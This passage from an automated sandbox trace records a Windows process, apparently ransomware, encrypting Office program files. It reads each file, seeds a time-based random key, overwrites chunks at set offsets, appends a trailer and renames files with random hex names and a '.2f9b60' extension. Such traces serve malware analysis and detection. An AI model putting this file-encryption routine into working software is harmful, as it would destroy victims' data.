_Dest="e3") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9f6, _Format="%c%c" | out: _Dest="08") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9f8, _Format="%c%c" | out: _Dest="9a") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9fa, _Format="%c%c" | out: _Dest="7e") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9fc, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.972] sprintf (in: _Dest=0x431ac9fe, _Format="%c%c" | out: _Dest="aa") returned 2 [0208.972] sprintf (in: _Dest=0x431aca00, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.972] sprintf (in: _Dest=0x431aca02, _Format="%c%c" | out: _Dest="85") returned 2 [0208.972] sprintf (in: _Dest=0x431aca04, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.972] sprintf (in: _Dest=0x431aca06, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.972] sprintf (in: _Dest=0x431aca08, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.973] sprintf (in: _Dest=0x431aca0a, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.973] sprintf (in: _Dest=0x431aca0c, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.973] sprintf (in: _Dest=0x431aca0e, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.973] RtlInitAnsiString (in: DestinationString=0x323cfe28, SourceString="870f434f8785b725850de3089a7ec2aae485f8a4fb5f2afe" | out: DestinationString="870f434f8785b725850de3089a7ec2aae485f8a4fb5f2afe") [0208.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x323cfdf8, SourceString="870f434f8785b725850de3089a7ec2aae485f8a4fb5f2afe", AllocateDestinationString=1 | out: DestinationString="870f434f8785b725850de3089a7ec2aae485f8a4fb5f2afe") returned 0x0 [0208.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a0320 [0208.973] wcscat (in: _Dest=0x431a1a40, _Source="870f434f8785" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\870f434f8785") returned="C:\\Program Files\\Microsoft Office\\Office14\\870f434f8785" [0208.973] wcscat (in: _Dest=0x431a1a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\870f434f8785.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\870f434f8785.2f9b60" [0208.973] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\870f434f8785.2f9b60", NtPathName=0x323cfdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\870f434f8785.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431ec560 Thread: id = 2565 os_tid = 0x2080 [0155.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll")) returned 0x20 [0155.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL", dwFileAttributes=0x20) returned 1 [0155.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1220 [0155.595] GetFileSizeEx (in: hFile=0x1220, lpFileSize=0x3225f7c0 | out: lpFileSize=0x3225f7c0*=127408) returned 1 [0155.595] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x1f1ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.595] ReadFile (in: hFile=0x1220, lpBuffer=0x3225f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3225f788, lpOverlapped=0x0 | out: lpBuffer=0x3225f740*, lpNumberOfBytesRead=0x3225f788*=0x4, lpOverlapped=0x0) returned 1 [0155.601] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddafa0 [0155.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb090 [0155.602] NtQuerySystemTime (in: CurrentTime=0x3225f680 | out: CurrentTime=0x3225f680*=132462177607342000) returned 0x0 [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x34e2c2a1 [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x480e506a [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x1a349aec [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x226b4cf1 [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x1dfb047c [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x3e70495a [0155.602] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x7039b2e0 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x1205fe4d [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x37cbf2c6 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x43a46db0 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x2555288 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x6db4c062 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x72954b1b [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x22b3ca37 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x6459af07 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0xf6bb865 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x284d1b28 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x13759da0 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x1e419c87 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0xfcd6557 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x10dd8824 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x44d9cb2e [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x2baaba22 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x306ef39f [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x439e6083 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x117b14cc [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x5683a46f [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x33b6d561 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x21baea81 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x7ba44b61 [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x11f8a29f [0155.603] RtlRandomEx (in: Seed=0x3225f670 | out: Seed=0x3225f670) returned 0x17d77432 [0155.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb0c0 [0155.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb0f0 [0155.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb090) returned 1 [0155.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42948200 [0155.615] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.616] ReadFile (in: hFile=0x1220, lpBuffer=0x42948200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3225f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42948200*, lpNumberOfBytesRead=0x3225f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0155.661] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0155.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42957240 [0155.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb240 [0155.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb240) returned 1 [0155.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0155.663] WriteFile (hFile=0x1220, lpBuffer=0x42957240, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3225f6e0, lpOverlapped=0x0) [0186.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42957240) returned 1 [0186.699] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.699] ReadFile (in: hFile=0x1220, lpBuffer=0x42948200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3225f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42948200*, lpNumberOfBytesRead=0x3225f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.564] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d10 [0190.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138d10) returned 1 [0190.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b2a280 [0190.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d10 [0190.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d40 [0190.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138d40) returned 1 [0190.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.567] WriteFile (in: hFile=0x1220, lpBuffer=0x42b2a280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3225f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42b2a280*, lpNumberOfBytesWritten=0x3225f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b2a280) returned 1 [0205.581] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x1b5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.581] ReadFile (in: hFile=0x1220, lpBuffer=0x42948200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3225f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42948200*, lpNumberOfBytesRead=0x3225f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.583] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x1b5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6c0 [0205.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb6c0) returned 1 [0205.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b2a280 [0205.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6c0 [0205.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb600 [0205.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb600) returned 1 [0205.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.587] WriteFile (in: hFile=0x1220, lpBuffer=0x42b2a280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3225f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42b2a280*, lpNumberOfBytesWritten=0x3225f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b2a280) returned 1 [0214.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431050c0 [0214.914] SetFilePointerEx (in: hFile=0x1220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.914] WriteFile (in: hFile=0x1220, lpBuffer=0x430bcca0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3225f790, lpOverlapped=0x0 | out: lpBuffer=0x430bcca0*, lpNumberOfBytesWritten=0x3225f790*=0x14a, lpOverlapped=0x0) returned 1 [0218.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267830 [0218.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267830) returned 1 [0218.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267830 [0218.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267800 [0218.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267800) returned 1 [0218.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad920 [0218.894] sprintf (in: _Dest=0x431ad920, _Format="%c%c" | out: _Dest="51") returned 2 [0218.894] sprintf (in: _Dest=0x431ad922, _Format="%c%c" | out: _Dest="6c") returned 2 [0218.894] sprintf (in: _Dest=0x431ad924, _Format="%c%c" | out: _Dest="66") returned 2 [0218.894] sprintf (in: _Dest=0x431ad926, _Format="%c%c" | out: _Dest="05") returned 2 [0218.894] sprintf (in: _Dest=0x431ad928, _Format="%c%c" | out: _Dest="ac") returned 2 [0218.894] sprintf (in: _Dest=0x431ad92a, _Format="%c%c" | out: _Dest="2b") returned 2 [0218.894] sprintf (in: _Dest=0x431ad92c, _Format="%c%c" | out: _Dest="ca") returned 2 [0218.894] sprintf (in: _Dest=0x431ad92e, _Format="%c%c" | out: _Dest="df") returned 2 [0218.894] sprintf (in: _Dest=0x431ad930, _Format="%c%c" | out: _Dest="fc") returned 2 [0218.894] sprintf (in: _Dest=0x431ad932, _Format="%c%c" | out: _Dest="cb") returned 2 [0218.894] sprintf (in: _Dest=0x431ad934, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.894] sprintf (in: _Dest=0x431ad936, _Format="%c%c" | out: _Dest="eb") returned 2 [0218.894] sprintf (in: _Dest=0x431ad938, _Format="%c%c" | out: _Dest="e0") returned 2 [0218.894] sprintf (in: _Dest=0x431ad93a, _Format="%c%c" | out: _Dest="76") returned 2 [0218.894] sprintf (in: _Dest=0x431ad93c, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.894] sprintf (in: _Dest=0x431ad93e, _Format="%c%c" | out: _Dest="b9") returned 2 [0218.895] sprintf (in: _Dest=0x431ad940, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.895] sprintf (in: _Dest=0x431ad942, _Format="%c%c" | out: _Dest="39") returned 2 [0218.895] sprintf (in: _Dest=0x431ad944, _Format="%c%c" | out: _Dest="3a") returned 2 [0218.895] sprintf (in: _Dest=0x431ad946, _Format="%c%c" | out: _Dest="4b") returned 2 [0218.895] sprintf (in: _Dest=0x431ad948, _Format="%c%c" | out: _Dest="4a") returned 2 [0218.895] sprintf (in: _Dest=0x431ad94a, _Format="%c%c" | out: _Dest="09") returned 2 [0218.895] sprintf (in: _Dest=0x431ad94c, _Format="%c%c" | out: _Dest="fd") returned 2 [0218.895] sprintf (in: _Dest=0x431ad94e, _Format="%c%c" | out: _Dest="df") returned 2 [0218.895] RtlInitAnsiString (in: DestinationString=0x3225f808, SourceString="516c6605ac2bcadffccb2debe0764cb91a393a4b4a09fddf" | out: DestinationString="516c6605ac2bcadffccb2debe0764cb91a393a4b4a09fddf") [0218.895] RtlAnsiStringToUnicodeString (in: DestinationString=0x3225f7d8, SourceString="516c6605ac2bcadffccb2debe0764cb91a393a4b4a09fddf", AllocateDestinationString=1 | out: DestinationString="516c6605ac2bcadffccb2debe0764cb91a393a4b4a09fddf") returned 0x0 [0218.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104f00 [0218.895] wcscat (in: _Dest=0x202afb20, _Source="516c6605ac2b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\516c6605ac2b") returned="C:\\Program Files\\Microsoft Office\\Office14\\516c6605ac2b" [0218.895] wcscat (in: _Dest=0x202afb20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\516c6605ac2b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\516c6605ac2b.2f9b60" [0218.895] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\516c6605ac2b.2f9b60", NtPathName=0x3225f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\516c6605ac2b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4310a560 Thread: id = 2566 os_tid = 0x2084 [0155.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll")) returned 0x20 [0155.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL", dwFileAttributes=0x20) returned 1 [0155.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x121c [0155.599] GetFileSizeEx (in: hFile=0x121c, lpFileSize=0x3254f9c0 | out: lpFileSize=0x3254f9c0*=170968) returned 1 [0155.599] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x29bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.600] ReadFile (in: hFile=0x121c, lpBuffer=0x3254f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3254f988, lpOverlapped=0x0 | out: lpBuffer=0x3254f940*, lpNumberOfBytesRead=0x3254f988*=0x4, lpOverlapped=0x0) returned 1 [0155.647] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0155.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb1b0 [0155.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb240 [0155.647] NtQuerySystemTime (in: CurrentTime=0x3254f880 | out: CurrentTime=0x3254f880*=132462177607810000) returned 0x0 [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x62d2a50f [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x39679ee1 [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x73e0182f [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x5ac6dcfb [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x3d79cce1 [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x55634aa0 [0155.647] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x7f04c077 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x758745d1 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x745c5393 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x1817ad4a [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x2d6f97e9 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x63afb28d [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x64ab8b03 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x7e62fbda [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x1dc944c4 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x4b4576cb [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x4963589d [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x410c448c [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x97f176 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x632b79ea [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x26e8a48f [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x3c7d1701 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x7180b7cd [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x7ff4463f [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x691bf4c6 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x498e4b95 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x58164201 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x734bcd98 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x45b8a97 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x7df755e0 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x336123e1 [0155.648] RtlRandomEx (in: Seed=0x3254f870 | out: Seed=0x3254f870) returned 0x67620b40 [0155.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb270 [0155.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb2a0 [0155.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb240) returned 1 [0155.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0155.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42953630 [0155.660] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.660] ReadFile (in: hFile=0x121c, lpBuffer=0x42953630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3254f8e0, lpOverlapped=0x0 | out: lpBuffer=0x42953630*, lpNumberOfBytesRead=0x3254f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0155.740] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0155.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24320 [0155.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb300 [0155.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb300) returned 1 [0155.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42966280 [0155.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb300 [0155.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb360 [0155.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb360) returned 1 [0155.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24320) returned 1 [0155.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0155.744] WriteFile (hFile=0x121c, lpBuffer=0x42966280, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3254f8e0, lpOverlapped=0x0) [0186.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42966280) returned 1 [0186.807] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 